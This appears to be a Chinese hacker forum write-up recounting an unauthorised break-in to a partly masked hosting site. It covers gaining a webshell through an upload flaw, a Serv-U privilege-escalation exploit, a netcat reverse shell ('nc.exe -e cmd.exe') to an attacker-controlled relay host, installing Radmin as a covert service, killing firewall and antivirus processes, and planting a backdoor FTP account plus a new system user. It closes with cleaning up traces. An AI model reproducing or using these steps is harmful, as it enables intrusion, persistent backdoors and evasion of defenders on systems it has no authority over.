本文講的重點(diǎn)是webshell權(quán)限的提升和繞過防火墻,高手勿笑。
廢話少說,咱們進(jìn)入正題。
首先確定一下目標(biāo):http://www.sun***.com ,常見的虛擬主機(jī)。利用Upfile的漏洞相信大家獲得webshell不難。我們這次獲得這個webshell,不是DVBBS,而是自由動力3.6的軟件上傳過濾不嚴(yán)。網(wǎng)站http://www.sun***.com/lemon/Index.asp是自由動力3.6文章系統(tǒng)。Xr運(yùn)用WinHex.exe和WSockExpert.exe上傳一個網(wǎng)頁木馬newmm.asp,用過動鯊的door.exe的人都知道,這個是上傳asp木馬內(nèi)容的。于是,上傳海洋2005a,成功獲得webshell。
測試一下權(quán)限,在cmd里運(yùn)行set,獲得主機(jī)一些信息,系統(tǒng)盤是D盤,也說明了我們的webshell有運(yùn)行權(quán)限的。那我們看看C盤有什么呢?難道是雙系統(tǒng)?瀏覽后發(fā)現(xiàn)沒有什么系統(tǒng)文件,只有一些垃圾文件。沒關(guān)系,再來檢查一下,虛擬主機(jī)都有serv-u的,這臺也不例外,是5.0.0.8的。
思路:上傳serv-u本地溢出文件srv.exe和nc.exe利用nc來反連接獲得系統(tǒng)shell。大家是不是發(fā)現(xiàn)海洋2005a那個上傳的組件不好用,沒關(guān)系,用rain改的一個無組件上傳,一共有3個文件,up.htm, upload.asp和uploadclass.asp。upload.asp和uploadclass.asp上傳到同一個文件夾,up.htm是本地用的,修改up.htm里的鏈接地址為:http://www.sun***.com/lemon/upload.asp就可以上傳了。
傳上了srv.exe和nc.exe在H:\long\sun***\lemon(網(wǎng)站目錄)后,發(fā)現(xiàn)沒有運(yùn)行權(quán)限。沒關(guān)系,根據(jù)經(jīng)驗,一般系統(tǒng)下D:\Documents and Settings\All Users\是應(yīng)該有運(yùn)行權(quán)限的。于是想把文件copy過去,但是發(fā)現(xiàn)我們的webshell沒有對D盤寫的權(quán)限。
可以瀏覽D:\program files\serv-u\ServUDaemon.ini,不能改,難道要破解serv-u的密碼,不想。
不可以這么就泄氣了,我突然想到為什么系統(tǒng)不放在C盤了,難道C盤是FAT32分區(qū)的?這里說一下,如果主機(jī)有win98的系統(tǒng)盤,那里99%是FAT32分區(qū)的。我們還遇到過裝有Ghost的主機(jī),為了方便在DOS下備份,它的備份盤一般都是FAT分區(qū)的。如果系統(tǒng)盤是FAT32分區(qū),則網(wǎng)站就沒有什么安全性可言了。雖然C盤不是系統(tǒng)盤,但是我們有執(zhí)行權(quán)限。呵呵,copy srv.exe和nc.exe到c:\,運(yùn)行 srv.exe "nc.exe –e cmd.exe 202.*.*.* 888",這里的202.*.*.*是我們的肉雞,在這之前我們已經(jīng)運(yùn)行了nc –l –p 888。
我們成功獲得一個系統(tǒng)shell連上。(看起來簡單,其實(shí)這里我們也遇到過挫折,我們發(fā)現(xiàn)有些版本的nc居然沒有-e這個參數(shù),還以為全世界nc功能都一樣。后來又發(fā)現(xiàn)不同版本的nc互連不成功,會出現(xiàn)亂碼,沒辦法用。為此,上傳n次,錯誤n次,傻了n次,后來終于成功了。做黑客還真得有耐心和恒心。)
高興之余,我們?nèi)圆粷M足,因為這個shell實(shí)在是太慢了。于是,想用我們最常用的Radmin,其實(shí)管理員一按Alt+Ctrl+Del,看進(jìn)程就能發(fā)現(xiàn)r_server了,但是還是喜歡用它,是因為不會被查殺。好了,上傳admdll.dll,raddrv.dll,r_server.exe到H:\long\sun***\lemon,再用剛才nc得到的shell把它們copy到d:\winnt\system32\下,分別運(yùn)行:r_server /install , net start r_server , r_server /pass:rain /save 。
一陣漫長的等待,終于顯示成功了。興沖沖用radmin連上去,發(fā)現(xiàn)連接失敗。呵呵,忘了有防火墻了。上傳pslist和pskill上去,發(fā)現(xiàn)有backice,木馬克星等。Kill掉他們雖然可以登陸,但服務(wù)器重啟后還是不行,終不是長久之計呀。防火墻是不防21,80等端口的,于是,我們的思路又回到了serv-u上了。把他的ServUDaemon.ini下載下來,覆蓋本機(jī)的ServUDaemon.ini,在本機(jī)的serv-u上添加一個用戶名為xr,密碼為rain的系統(tǒng)帳號,加上所有權(quán)限。再用老辦法,上傳,用shell寫入D:\program files\serv-u\里,覆蓋掉原來的ServUDaemon.ini。雖然又等了n長時間,但是成功了,于是用flashfxp連上,發(fā)生530錯誤。郁悶,怎么又失敗了。(根據(jù)經(jīng)驗這樣應(yīng)該就可以了,但為什么不行沒有想通,請高手指點(diǎn)。)
不管了,我們重啟serv-u就ok了,怎么重啟呢,開始想用shutdown重啟系統(tǒng),但那樣我們就失去了nc這個shell,還可能被發(fā)現(xiàn)。后來,眼睛一亮,我們不是有pskill嗎?剛才用pslist發(fā)現(xiàn)有這個進(jìn)程:ServUDaemon 。把它kill了。然后再運(yùn)行D:\program files\serv-u\ ServUAdmin.exe ,這里要注意不是ServUDaemon.exe 。
好了,到這里,我們直接ftp上去吧,ls一下,哈哈,系統(tǒng)盤在我的掌握下。我們能不能運(yùn)行系統(tǒng)命令呢?是可以的,這樣就可以:
ftp>quote site exec net user xr rain /add
在webshell上運(yùn)行net user,就可以看見添加成功了。
整個入侵滲透到這就結(jié)束了,在一陣后清理打掃后。我們就開始討論了。其實(shí),突破防火墻有很多好的rootkit可以做到的,但是我們覺得系統(tǒng)自帶的服務(wù)才是最安全的后門。
(t113)